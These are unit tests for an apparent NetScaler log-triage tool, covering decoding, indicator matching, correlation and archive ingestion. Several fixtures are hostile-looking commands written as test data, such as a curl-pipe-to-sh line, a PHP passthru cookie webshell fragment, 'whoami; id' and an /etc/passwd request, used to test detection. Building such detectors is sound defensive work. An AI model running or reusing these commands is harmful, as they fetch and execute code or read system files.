self.assertTrue(matcher.search("source=2001:db8::1")[1])
self.assertFalse(matcher.search("source=2001:db8::10")[1])
self.assertTrue(matcher.search("whoami; id")[1])
def test_csv_preserves_metadata_and_aliases(self) -> None:
with tempfile.TemporaryDirectory() as directory:
path = Path(directory) / "customer.csv"
path.write_text(
"indicator_type,indicator,status,source,description,confidence,evidence\n"
"ipv4,192.0.2.9,authorized_test,local,Approved test,high,auth.log:3\n"
)
row = load_config(path)["indicators"][0]
self.assertEqual(row["value"], "192.0.2.9")
self.assertEqual(row["status"], "authorized_test")
self.assertEqual(row["evidence"], "auth.log:3")
self.assertEqual(row["source"], "local")
self.assertEqual(row["confidence"], "high")
def test_legacy_regex_csv_preserves_description(self) -> None:
with tempfile.TemporaryDirectory() as directory:
path = Path(directory) / "rules.csv"
path.write_text("ID,Muster,description,source\ncustom,test.*value,Example,local\n")
row = load_config(path)["patterns"][0]
self.assertEqual(row["description"], "Example")
self.assertEqual(row["pattern"], "test.*value")
def test_symlink_file_and_directory_are_rejected(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
target = root / "target"
target.mkdir()
(target / "one.txt").write_text("reference")
link = root / "linked"
link.symlink_to(target, target_is_directory=True)
with self.assertRaisesRegex(ValueError, "symlinks"):
load_configs([root])
with self.assertRaisesRegex(ValueError, "symlinks"):
load_configs([link])
link.unlink()
alias = root / "alias.txt"
alias.symlink_to(target / "one.txt")
with self.assertRaisesRegex(ValueError, "symlinks"):
load_config(alias)
def test_file_count_and_combined_bytes_are_bounded(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
(root / "a.txt").write_text("first")
(root / "b.txt").write_text("second")
with (
patch("netscaler_triage.config_loading.MAX_CONFIG_FILES", 1),
self.assertRaisesRegex(ValueError, "exceeds 1 files"),
):
load_configs([root])
with (
patch("netscaler_triage.config_loading.MAX_TOTAL_BYTES", 8),
self.assertRaisesRegex(ValueError, "Combined rule packs"),
):
load_configs([root])
with (
patch("netscaler_triage.config_loading.MAX_CONFIG_BYTES", 4),
self.assertRaisesRegex(ValueError, "exceeds"),
):
load_config(root / "a.txt")
def test_invalid_inputs_have_named_errors(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
with self.assertRaisesRegex(ValueError, "No supported rule packs"):
load_configs([root])
invalid = root / "broken.json"
invalid.write_text("{broken")
with self.assertRaisesRegex(ValueError, "broken.json"):
load_configs([root])
invalid.unlink()
csv = root / "broken.csv"
csv.write_text("value,status\none,two,three\n")
with self.assertRaisesRegex(ValueError, "column count mismatch"):
load_config(csv)
def test_sigma_relative_source_distinguishes_nested_names(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
for name in ["a", "b"]:
(root / name).mkdir()
(root / name / "rules.yml").write_text("title: example\n")
configs = load_configs([root])
self.assertEqual(
[c["sigma_rules"][0]["source"] for c in configs],
["a/rules.yml", "b/rules.yml"],
)
class RulesCommandTests(unittest.TestCase):
def test_valid_directory_compiles_without_output_artifacts(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
(root / "refs.csv").write_text("type,value,status\nipv4,192.0.2.1,reference_only\n")
before = sorted(p.name for p in root.iterdir())
output = io.StringIO()
with contextlib.redirect_stdout(output):
code = main(["rules", "--config", str(root), "--json"])
self.assertEqual(code, 0)
result = json.loads(output.getvalue())
self.assertEqual(result["status"], "valid")
self.assertGreater(result["sigma_rules"], 0)
self.assertGreaterEqual(result["explicit_active_indicators"], 1)
self.assertEqual(before, sorted(p.name for p in root.iterdir()))
def test_bad_sigma_and_duplicate_ids_fail_validation(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
first = root / "one.yml"
first.write_text("title: missing required Sigma fields\n")
with contextlib.redirect_stderr(io.StringIO()):
self.assertEqual(main(["rules", "--config", str(root)]), 2)
sigma = (
"title: Test rule\nid: d78e2aad-98f2-41fa-a552-f55aa0ad786d\n"
"logsource:\n product: netscaler\ndetection:\n"
" selection:\n raw|contains: test-marker\n condition: selection\n"
)
first.write_text(sigma)
(root / "two.yml").write_text(sigma)
stderr = io.StringIO()
with contextlib.redirect_stderr(stderr):
self.assertEqual(main(["rules", "--config", str(root)]), 2)
self.assertIn("Duplicate rule identifier", stderr.getvalue())
+70
View File
@@ -0,0 +1,70 @@
import sqlite3
import unittest
from netscaler_triage.correlation import correlate_database
class CorrelationTests(unittest.TestCase):
def setUp(self) -> None:
self.db = sqlite3.connect(":memory:")
self.db.executescript("""
CREATE TABLE events(id INTEGER PRIMARY KEY,appliance TEXT,source TEXT,
line INTEGER,timestamp TEXT,kind TEXT,data TEXT);
CREATE TABLE event_keys(event_id INTEGER,appliance TEXT,key_type TEXT,
key_value TEXT,timestamp TEXT);
""")
def tearDown(self) -> None:
self.db.close()
def add(
self,
number: int,
stamp: str | None,
source: str = "access",
device: str = "one",
key: str = "source_ip",
value: str = "192.0.2.1",
) -> None:
self.db.execute(
"INSERT INTO events VALUES(?,?,?,?,?,?,?)",
(number, device, source, number, stamp, "http", "{}"),
)
self.db.execute(
"INSERT INTO event_keys VALUES(?,?,?,?,?)", (number, device, key, value, stamp)
)
def test_nearest_other_log_and_device_isolation(self) -> None:
self.add(1, "2026-01-01T00:00:00Z", "auth")
self.add(2, "2026-01-01T00:00:01Z")
self.add(3, "2026-01-01T00:00:02Z")
self.add(4, "2026-01-01T00:00:03Z", device="two")
result = correlate_database(self.db)
self.assertEqual(result["links"], 2)
self.assertEqual(
self.db.execute("SELECT left_id,right_id FROM correlations").fetchall(),
[(1, 2), (1, 3)],
)
def test_times_limits_and_rerun(self) -> None:
self.add(1, "2026-01-01T01:00:00+01:00", "auth")
self.add(2, "2026-01-01T00:00:01Z")
self.add(3, "2026-01-01T00:00:02Z")
self.add(4, None)
self.add(5, "2026-01-01T00:00:03")
result = correlate_database(self.db, max_links=1)
self.assertTrue(result["truncated"])
result = correlate_database(self.db)
self.assertEqual(result["links"], 2)
self.assertEqual(result["invalid_time_keys"], 2)
self.assertEqual(correlate_database(self.db, window_seconds=0)["links"], 0)
def test_exact_keys_and_no_same_source_links(self) -> None:
self.add(1, "2026-01-01T00:00:00Z")
self.add(2, "2026-01-01T00:00:01Z")
self.add(3, "2026-01-01T00:00:02Z", "auth", value="192.0.2.10")
self.assertEqual(correlate_database(self.db)["links"], 0)
if __name__ == "__main__":
unittest.main()
+58
View File
@@ -0,0 +1,58 @@
import base64
import unittest
from netscaler_triage.decoding import decode_layers, observations
class DecodingTests(unittest.TestCase):
def test_error_and_limit_metadata(self) -> None:
self.assertTrue(any(r["error"] for r in decode_layers("base64: aW@Q=")))
self.assertTrue(any(r["error"] for r in decode_layers("/x?q=%GG")))
self.assertTrue(any(r.get("limit") for r in decode_layers("aWQ=", max_depth=0)))
self.assertTrue(any(r["error"] for r in decode_layers("marker:AAAAA")))
def test_command_semantics_are_qualified(self) -> None:
explanation = " ".join(
observations(
"curl https://example.test | sh; chmod 777 /tmp/x; tar -cf /tmp/a "
"/tmp/b; kill -HUP 12; passthru($_COOKIE['x']); id; hostname"
)
)
for term in (
"file permissions",
"archive",
"HUP",
"Cookie",
"interpreter",
"execution is not established",
):
self.assertIn(term, explanation)
def test_marker_and_query(self) -> None:
for text in ["AB:" + base64.b64encode(b"id").decode(), "/probe.php?x=aWQ%3D"]:
records = decode_layers(text)
self.assertEqual(records[0]["output"], text)
self.assertIn("id", [r["output"] for r in records])
self.assertTrue(all(r["sha256"] for r in records))
def test_limits_binary_and_plus(self) -> None:
self.assertEqual(len(decode_layers("AAAA", max_bytes=2)), 1)
self.assertEqual(len(decode_layers("aWQ=", max_depth=0)), 1)
self.assertIn("a+b c", [r["output"] for r in decode_layers("a+b%20c")])
self.assertTrue(any(r["output_encoding"] == "hex" for r in decode_layers("AP8=")))
self.assertTrue(any(r["error"] for r in decode_layers("%FF")))
def test_inert_commands_and_ordinary_log(self) -> None:
command = "$(touch /tmp/NEVER_EXECUTE)"
records = decode_layers(base64.b64encode(command.encode()).decode())
self.assertIn(command, [r["output"] for r in records])
self.assertEqual(len(decode_layers("normal log entry with hostname server")), 1)
def test_nested(self) -> None:
text = base64.b64encode(base64.b64encode(b"id")).decode()
self.assertIn("id", [r["output"] for r in decode_layers(text)])
self.assertLessEqual(len(decode_layers(" ".join("m:" + text for _ in range(100)))), 64)
if __name__ == "__main__":
unittest.main()
+214
View File
@@ -0,0 +1,214 @@
"""User-facing automatic preparation with synthetic logs and disposable folders."""
import hashlib
import io
import json
import os
import tempfile
import unittest
import zipfile
from contextlib import redirect_stderr, redirect_stdout
from pathlib import Path
from typing import Any
from unittest.mock import patch
import py7zr
from netscaler_triage.cli import main
from netscaler_triage.preparation import prepare_inputs
LOG = (
'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET /etc/passwd HTTP/1.1" 403 0 "-" "ordinary"\n'
)
class EasyCliTests(unittest.TestCase):
def setUp(self) -> None:
self.temporary = tempfile.TemporaryDirectory()
self.root = Path(self.temporary.name).resolve()
self.previous = Path.cwd()
self.case = self.root / "case"
self.case.mkdir()
os.chdir(self.case)
def tearDown(self) -> None:
os.chdir(self.previous)
self.temporary.cleanup()
def invoke(self, arguments: list[str]) -> str:
stdout, stderr = io.StringIO(), io.StringIO()
with redirect_stdout(stdout), redirect_stderr(stderr):
result = main(arguments)
self.assertEqual(result, 0, stdout.getvalue() + stderr.getvalue())
return stdout.getvalue() + stderr.getvalue()
def events(self) -> list[dict[str, Any]]:
files = list(self.root.rglob("findings.jsonl"))
self.assertEqual(len(files), 1, files)
return [json.loads(line) for line in files[0].read_text().splitlines()]
def archive(self, name: str, log: str = LOG) -> Path:
archive = self.case / name
with zipfile.ZipFile(archive, "w") as handle:
handle.writestr("var/log/httpaccess.log", log)
return archive
def encrypted_archive(self, password: str) -> Path:
original = self.root / "fixture.log"
original.write_text(LOG, encoding="utf-8")
archive = self.case / "encrypted.7z"
with py7zr.SevenZipFile(archive, "w", password=password, header_encryption=True) as handle:
handle.write(original, "var/log/httpaccess.log")
return archive
def assert_password_absent(self, password: str, output: str) -> None:
self.assertNotIn(password, output)
for path in self.root.rglob("*"):
if path.is_file() and path.suffix in {".json", ".jsonl", ".txt", ".csv"}:
self.assertNotIn(password, path.read_text(encoding="utf-8"), str(path))
def test_no_arguments_uses_current_folder_and_skips_tool_directories(self) -> None:
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
(self.case / "pyproject.toml").write_text(
'[project]\nname = "netscaler-triage"\n', encoding="utf-8"
)
for name in ("src", ".runtime", ".venv", "results"):
folder = self.case / name
folder.mkdir()
(folder / "unrelated.log").write_text(LOG * 3, encoding="utf-8")
self.invoke([])
events = self.events()
self.assertEqual(len(events), 1)
self.assertEqual(events[0]["kind"], "http_access")
def test_folder_without_subcommand(self) -> None:
folder = self.case / "logs"
folder.mkdir()
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
self.invoke([str(folder)])
self.assertEqual(len(self.events()), 1)
def test_explicit_scan_folder(self) -> None:
folder = self.case / "logs"
folder.mkdir()
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
self.invoke(["scan", str(folder)])
self.assertEqual(len(self.events()), 1)
def test_missing_common_drive_uses_current_output_parent(self) -> None:
folder = self.case / "logs"
folder.mkdir()
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
with patch("netscaler_triage.cli.os.path.commonpath", side_effect=ValueError("drives")):
self.invoke([str(folder)])
self.assertEqual(len(self.events()), 1)
def test_advanced_preparation_limits_are_forwarded(self) -> None:
folder = self.case / "logs"
folder.mkdir()
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
with patch("netscaler_triage.cli.prepare_inputs", wraps=prepare_inputs) as prepare:
self.invoke(
[str(folder), "--max-bytes", "10000", "--max-files", "9", "--max-depth", "0"]
)
self.assertEqual(prepare.call_args.kwargs["max_bytes"], 10000)
self.assertEqual(prepare.call_args.kwargs["max_files"], 9)
self.assertEqual(prepare.call_args.kwargs["max_depth"], 0)
self.assertEqual(len(self.events()), 1)
def test_archive_is_prepared_automatically_without_changing_original(self) -> None:
archive = self.archive("adc.zip")
before = hashlib.sha256(archive.read_bytes()).digest()
self.invoke([str(archive)])
self.assertEqual(hashlib.sha256(archive.read_bytes()).digest(), before)
events = self.events()
self.assertEqual(len(events), 1)
self.assertEqual(events[0]["kind"], "http_access")
def test_two_archives_keep_separate_appliance_identity(self) -> None:
first = self.archive("adc-one.zip")
second = self.archive("adc-two.zip")
self.invoke([str(first), str(second)])
events = self.events()
self.assertEqual(len(events), 2)
self.assertEqual(len({event["appliance"] for event in events}), 2)
def test_current_folder_discovers_multiple_archives(self) -> None:
self.archive("adc-one.zip")
self.archive("adc-two.zip")
self.invoke([])
events = self.events()
self.assertEqual(len(events), 2)
self.assertEqual(len({event["appliance"] for event in events}), 2)
def test_nested_archive_is_not_counted_twice(self) -> None:
nested = io.BytesIO()
with zipfile.ZipFile(nested, "w") as handle:
handle.writestr("httpaccess.log", LOG)
archive = self.case / "outer.zip"
with zipfile.ZipFile(archive, "w") as handle:
handle.writestr("inner.zip", nested.getvalue())
self.invoke([str(archive)])
self.assertEqual(len(self.events()), 1)
def test_archive_password_is_not_written_to_output(self) -> None:
password = "SYNTHETIC-password-SECRET-39217"
archive = self.encrypted_archive(password)
output = self.invoke([str(archive), "--password", password])
self.assertEqual(len(self.events()), 1)
self.assert_password_absent(password, output)
def test_password_flag_without_value_prompts_privately(self) -> None:
password = "SYNTHETIC-prompt-SECRET-39218"
archive = self.encrypted_archive(password)
with patch("netscaler_triage.cli.getpass.getpass", return_value=password) as prompt:
output = self.invoke([str(archive), "--password"])
prompt.assert_called_once()
self.assertEqual(len(self.events()), 1)
self.assert_password_absent(password, output)
def test_password_option_alone_uses_current_folder(self) -> None:
password = "SYNTHETIC-default-SECRET-39219"
self.encrypted_archive(password)
output = self.invoke(["--password", password])
self.assertEqual(len(self.events()), 1)
self.assert_password_absent(password, output)
def test_output_inside_original_input_is_rejected_before_changes(self) -> None:
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
before = {
p.relative_to(self.root).as_posix(): p.read_bytes() if p.is_file() else None
for p in self.root.rglob("*")
}
stdout, stderr = io.StringIO(), io.StringIO()
with redirect_stdout(stdout), redirect_stderr(stderr):
result = main([str(self.case), "--output", str(self.case / "generated" / "out")])
self.assertNotEqual(result, 0)
after = {
p.relative_to(self.root).as_posix(): p.read_bytes() if p.is_file() else None
for p in self.root.rglob("*")
}
self.assertEqual(before, after)
def test_corrupt_archive_keeps_valid_results_and_reports_partial(self) -> None:
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
(self.case / "broken.zip").write_bytes(b"not a zip archive")
stdout, stderr = io.StringIO(), io.StringIO()
with redirect_stdout(stdout), redirect_stderr(stderr):
result = main([])
self.assertEqual(result, 2)
self.assertEqual(len(self.events()), 1)
summaries = list(self.root.rglob("summary.json"))
self.assertEqual(len(summaries), 1)
summary = json.loads(summaries[0].read_text())
self.assertEqual(summary["status"], "partial")
self.assertEqual(summary["counts"]["preparation_errors"], 1)
self.assertEqual(summary["preparation_errors"][0]["source"], "broken.zip")
manifest = json.loads((summaries[0].parent / "preparation_manifest.json").read_text())
failures = [entry for entry in manifest["entries"] if entry["action"] == "error"]
self.assertEqual(len(failures), 1)
self.assertIn("Preparation incomplete", stderr.getvalue())
if __name__ == "__main__":
unittest.main()
+102
View File
@@ -0,0 +1,102 @@
import base64
import json
import tempfile
import unittest
from pathlib import Path
from typing import Any
from netscaler_triage.decoding import has_encoding_candidate
from netscaler_triage.engine import scan
ARTIFACT = "/var/tmp/nsmon.pl"
RULE = """title: Synthetic decoded artifact
id: 96ddcb52-8e0b-4f8b-a41d-44e160db7464
logsource:
product: netscaler
detection:
selection:
raw|contains: '/var/tmp/nsmon.pl'
condition: selection
level: medium
"""
def encoded(value: str) -> str:
return base64.b64encode(value.encode()).decode().rstrip("=")
class EncodingGateTests(unittest.TestCase):
def test_encoded_user_agents_and_raw_blobs_keep_both_match_types(self) -> None:
once = encoded(ARTIFACT)
nested = encoded(once)
url_encoded = "%" + format(ord(once[0]), "02X") + once[1:]
lines = [
f'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET / HTTP/1.1" 404 0 "-" "{agent}"'
for agent in (once, nested, url_encoded)
]
lines.extend([once, "marker:" + once, "log payload " + encoded(ARTIFACT * 3)])
lines.extend(
[
"192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "
f'"GET / HTTP/1.1" 404 0 "{once}" "synthetic-agent"',
"192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "
f'"GET / HTTP/1.1" 404 0 "-" "synthetic-agent" Cookie: command={once}',
]
)
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "messages").write_text("\n".join(lines) + "\n", encoding="utf-8")
config: dict[str, Any] = {
"sigma_rules": [{"source": "synthetic.yml", "yaml": RULE}],
"indicators": [{"type": "literal", "value": ARTIFACT, "status": "reference_only"}],
}
summary = scan([("ADC", logs)], root / "out", [config], defaults=False)
self.assertEqual(summary["counts"]["records"], len(lines))
events = [
json.loads(row) for row in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertEqual(len(events), len(lines))
for event, original in zip(events, lines, strict=True):
self.assertEqual(event["raw"], original)
self.assertIn("96ddcb52-8e0b-4f8b-a41d-44e160db7464", event["rules"])
self.assertTrue(any(hit["value"] == ARTIFACT for hit in event["indicator_matches"]))
self.assertTrue(
any(ARTIFACT in (layer.get("output") or "") for layer in event["decoding"])
)
self.assertTrue(
any("decoded:" in str(detail["basis"]) for detail in event["rule_details"])
)
self.assertEqual(
sum(layer["transformation"] == "original" for layer in events[0]["decoding"]),
1,
"An encoded known field must not cause duplicate raw-line decoding",
)
cookie_layers = [
layer
for layer in events[-1]["decoding"]
if layer["transformation"] == "base64"
and layer["depth"] == 1
and layer["input"] == once
]
self.assertTrue(cookie_layers)
for layer in cookie_layers:
self.assertEqual(lines[-1][layer["start"] : layer["end"]], layer["input"])
def test_ordinary_words_and_timestamps_are_not_candidates(self) -> None:
for text in (
"NetScaler",
"Mozilla/5.0",
"ordinary words and numbers 123456789",
"Oct 01 12:00:00 appliance ready",
"2026-10-01T12:00:00Z",
):
with self.subTest(text=text):
self.assertFalse(has_encoding_candidate(text))
self.assertTrue(has_encoding_candidate(encoded("nsmon.pl")))
self.assertTrue(has_encoding_candidate(encoded(ARTIFACT * 2048)))
if __name__ == "__main__":
unittest.main()
+143
View File
@@ -0,0 +1,143 @@
import hashlib
import json
import sqlite3
import tempfile
import unittest
from pathlib import Path
from unittest.mock import patch
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher
class EngineTests(unittest.TestCase):
def test_hash_iocs_match_file_and_decoded_bytes(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
content = b"original file\n"
(logs / "sample.log").write_bytes(content)
(logs / "http.log").write_text(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
'"GET /?x=aWQ%3D HTTP/1.1" 200 0 "-" "ua"\n',
encoding="utf-8",
)
config = {
"indicators": [
{"type": "sha256", "value": hashlib.sha256(value).hexdigest()}
for value in (content, b"id")
]
}
result = scan([("ADC", logs)], root / "out", [config], defaults=False)
self.assertEqual(result["counts"]["file_hash_hits"], 1)
file_hits = json.loads((root / "out/file_hash_hits.json").read_text())
self.assertEqual(file_hits[0]["source"], "sample.log")
events = [
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertTrue(
any(
hit.get("basis") == "decoded_bytes_sha256"
for event in events
for hit in event["indicator_matches"]
)
)
def test_interrupt_records_failure_and_keeps_database(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "test.log").write_text("one\ntwo\n", encoding="utf-8")
with (
patch.object(
Matcher,
"search_with_details",
side_effect=[(["hit"], [], []), KeyboardInterrupt()],
),
self.assertRaises(KeyboardInterrupt),
):
scan([("ADC", logs)], root / "out", [], defaults=False)
summary = json.loads((root / "out/summary.json").read_text())
self.assertEqual(summary["error_type"], "KeyboardInterrupt")
with sqlite3.connect(root / "out/evidence.sqlite") as db:
self.assertEqual(db.execute("SELECT count(*) FROM events").fetchone()[0], 1)
db.close()
def test_match_timeout_preserves_record_and_continues(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "test.log").write_text("problem\nfollowing\n", encoding="utf-8")
with patch.object(
Matcher, "search_with_details", side_effect=[TimeoutError(), (["hit"], [], [])]
):
result = scan([("ADC", logs)], root / "out", [], defaults=False)
self.assertEqual(result["status"], "partial")
self.assertEqual(result["counts"]["records"], 2)
self.assertEqual(result["counts"]["selected"], 2)
self.assertEqual(result["counts"]["matching_errors"], 1)
rows = [
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertEqual(rows[0]["raw"], "problem")
self.assertTrue(rows[0]["analysis_errors"])
self.assertEqual(rows[1]["rules"], ["hit"])
def test_large_decoding_candidates_are_not_cached(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "test.log").write_text(("%41" * 2000 + "\n") * 2, encoding="utf-8")
with patch("netscaler_triage.engine.decode_layers", return_value=[]) as decode:
scan([("ADC", logs)], root / "out", [], defaults=False)
self.assertEqual(decode.call_count, 2)
def test_multi_appliance_and_decoded_match(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
inputs = []
for name in ("one", "two"):
directory = root / name
directory.mkdir()
(directory / "http.log").write_text(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] [42] "
'"GET /test?x=aWQ%3D HTTP/1.1" 403 0 "-" "ua"\n',
encoding="utf-8",
)
inputs.append((name, directory))
result = scan(
inputs,
root / "out",
[{"patterns": [{"id": "id", "pattern": "^id$"}]}],
defaults=False,
)
self.assertEqual(result["counts"]["findings"], 2)
db = sqlite3.connect(root / "out/evidence.sqlite")
self.assertEqual(db.execute("SELECT count(*) FROM events").fetchone()[0], 2)
event = json.loads(db.execute("SELECT data FROM events LIMIT 1").fetchone()[0])
self.assertTrue(any(step.get("output") == "id" for step in event["decoding"]))
db.close()
with self.assertRaises(ValueError):
scan(inputs, root / "one/out", [])
with self.assertRaises(ValueError):
scan(inputs, root / "out", [])
def test_literal_ip_boundaries_and_timeout(self) -> None:
matcher = Matcher(
[{"indicators": [{"type": "ipv4", "value": "192.0.2.1"}]}], defaults=False
)
self.assertFalse(matcher.search("192.0.2.11")[1])
self.assertTrue(matcher.search("source 192.0.2.1 end")[1])
pathological = Matcher(
[{"patterns": [{"pattern": "(a+)+$"}]}], timeout=0.001, defaults=False
)
with self.assertRaises(TimeoutError):
pathological.search("a" * 10000 + "!")
if __name__ == "__main__":
unittest.main()
+97
View File
@@ -0,0 +1,97 @@
"""Synthetic indicator boundaries, overlapping values and contextual packs."""
import unittest
from netscaler_triage.matching import Matcher
class IndicatorMatchingTests(unittest.TestCase):
def matcher(self, kind: str, value: str) -> Matcher:
return Matcher([{"indicators": [{"type": kind, "value": value}]}], defaults=False)
def test_typed_boundaries_and_case(self) -> None:
cases = [
("ipv4", "192.0.2.1", "peer 192.0.2.1:443", "peer 192.0.2.10"),
("domain", "example.test", "https://sub.example.test/a", "example.test.evil"),
("domain", "example.test", "EXAMPLE.TEST", "notexample.test"),
("path", "/tmp/evil", "curl https://host.test/tmp/evil", "/tmp/evil.backup"),
("path", "/tmp/evil", "cat /tmp/evil", "/safe/tmp/evil"),
("path", "/tmp/evil", "cat /tmp/evil", "/tmp/EVIL"),
("path", "/tmp/evil", "cat /tmp/evil", "/tmp/evil%2Ebackup"),
(
"url",
"http://example.test/a",
"http://example.test/a",
"http://example.test/a%2Flonger",
),
("path", "evil.php", "GET /vpn/evil.php?x=1", "/vpn/not-evil.php"),
("url", "http://example.test/a", "HTTP://EXAMPLE.TEST/a", "http://example.test/ab"),
("url", "http://example.test/A", "http://example.test/A", "http://example.test/a"),
("sha256", "a" * 64, "sha256=" + "A" * 64, "g" + "a" * 64),
]
for kind, value, positive, negative in cases:
with self.subTest(kind=kind, value=value):
matcher = self.matcher(kind, value)
self.assertTrue(matcher.search(positive)[1])
self.assertFalse(matcher.search(negative)[1])
def test_unicode_case_mapping_does_not_crash_or_invent_ascii_indicator(self) -> None:
matcher = self.matcher("literal", "id")
self.assertFalse(matcher.search("İD")[1])
self.assertTrue(matcher.search("ID")[1])
def test_prefix_indicators_are_not_lost_to_longest_alternative(self) -> None:
matcher = Matcher(
[{"indicators": [{"type": "literal", "value": v} for v in ["abc", "abcdef"]]}],
defaults=False,
)
self.assertEqual({x["value"] for x in matcher.search("abcdef")[1]}, {"abc", "abcdef"})
matcher = Matcher(
[{"indicators": [{"type": "path", "value": v} for v in ["/tmp/", "/tmp/evil"]]}],
defaults=False,
)
self.assertEqual(
{x["value"] for x in matcher.search("/tmp/evil")[1]}, {"/tmp/", "/tmp/evil"}
)
def test_invalid_ip_and_hash_fail_before_scanning(self) -> None:
for kind, value in [("ipv4", "999.1.2.3"), ("ipv4", "2001:db8::1"), ("sha256", "abc")]:
with self.subTest(kind=kind), self.assertRaises(ValueError):
self.matcher(kind, value)
def test_sigma_metadata_cannot_bypass_context(self) -> None:
yaml = """title: Contextual metadata example
id: d7518e0b-4717-45f2-babb-970ab3d546dd
logsource:
product: netscaler
service: http_access
indicators:
- type: ipv4
value: 192.0.2.42
status: reference_only
detection:
selection:
uri: /suspicious
raw|contains: 192.0.2.42
condition: selection
"""
config = {"sigma_rules": [{"source": "example.yml", "yaml": yaml}]}
matcher = Matcher([config], defaults=False)
self.assertEqual(matcher.search("peer 192.0.2.42"), ([], []))
self.assertFalse(matcher.indicators)
self.assertTrue(
matcher.search_sigma(
{"kind": "http_access", "raw": "peer 192.0.2.42", "uri": "/suspicious"}
)
)
self.assertFalse(
matcher.search_sigma(
{"kind": "http_access", "raw": "peer 192.0.2.42", "uri": "/health"}
)
)
with self.assertRaisesRegex(ValueError, "Duplicate rule identifier"):
Matcher([config, config], defaults=False)
if __name__ == "__main__":
unittest.main()
+42
View File
@@ -0,0 +1,42 @@
import unittest
from netscaler_triage.indicators import defang, extract_indicators
class IndicatorTests(unittest.TestCase):
def test_interleaved_url_and_path_spans(self) -> None:
rows = extract_indicators(
"/before http://example.test/a /between https://example.test/b?q=/internal /after"
)
self.assertEqual(
{r["value"] for r in rows if r["type"] == "path"}, {"/before", "/between", "/after"}
)
def test_addresses_and_domains(self) -> None:
rows = extract_indicators(
"src=192.0.2.1 invalid=999.1.1.1 peer=2001:db8::1 Host: example.test ordinary.txt"
)
values = {r["value"] for r in rows}
self.assertIn("192.0.2.1", values)
self.assertIn("2001:db8::1", values)
self.assertIn("example.test", values)
self.assertNotIn("999.1.1.1", values)
self.assertNotIn("ordinary.txt", values)
def test_original_and_reversible_defang(self) -> None:
url = "https://example.test:8443/a.php?q=1"
rows = extract_indicators(url + " /tmp/file " + "a" * 64)
self.assertIn(url, [r["value"] for r in rows])
self.assertIn("sha256", [r["type"] for r in rows])
encoded = defang(url, "url")
self.assertNotIn("https://", encoded)
restored = encoded.replace("[.]", ".").replace("[:]", ":").replace("hxxps:", "https:")
self.assertEqual(restored, url)
def test_boundaries(self) -> None:
self.assertEqual(extract_indicators("x192.0.2.1suffix"), [])
self.assertFalse(any(r["type"] == "domain" for r in extract_indicators("http://[broken")))
if __name__ == "__main__":
unittest.main()
+129
View File
@@ -0,0 +1,129 @@
import gzip
import io
import tempfile
import unittest
import zipfile
from collections.abc import Callable, Iterator
from pathlib import Path
from typing import IO, Any, cast
from unittest.mock import patch
from netscaler_triage.ingest import InputError, extract_archive, inventory, iter_records
class IngestTests(unittest.TestCase):
def test_unreadable_file_does_not_hide_readable_evidence(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
(root / "bad").write_text("private")
(root / "good").write_text("evidence\n")
original = Path.open
def guarded(path: Path, *args: Any, **kwargs: Any) -> IO[Any]:
if path == root / "bad":
raise PermissionError(13, "denied", str(path))
return cast(IO[Any], original(path, *args, **kwargs))
with patch.object(Path, "open", guarded):
listing = inventory(root)
records = list(iter_records(root, "a"))
self.assertEqual(listing[0]["error"], "PermissionError")
self.assertIsNone(listing[0]["sha256"])
self.assertEqual(records[0]["error"], "PermissionError")
self.assertEqual(records[1]["raw"], "evidence")
def test_directory_traversal_errors_are_visible(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
def failed_walk(
path: Path, *, followlinks: bool, onerror: Callable[[OSError], None]
) -> Iterator[tuple[str, list[str], list[str]]]:
onerror(PermissionError(13, "denied", str(root / "unreadable")))
return iter(())
with patch("netscaler_triage.ingest.os.walk", failed_walk):
rows = inventory(root)
records = list(iter_records(root, "a"))
self.assertEqual(rows[0]["source"], "unreadable")
self.assertEqual(records[0]["error"], "PermissionError")
def test_windows_reserved_archive_names(self) -> None:
from netscaler_triage.ingest import _member
for name in ("CON", "logs/NUL.txt", "COM1.log", "logs/name.", "logs/name "):
with self.assertRaises(InputError):
_member(name)
def test_binary_is_explicitly_incomplete(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
(root / "binary").write_bytes(b"hello\x00binary")
self.assertIn("error", next(iter_records(root, "a")))
def test_gzip_magic_and_limits(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
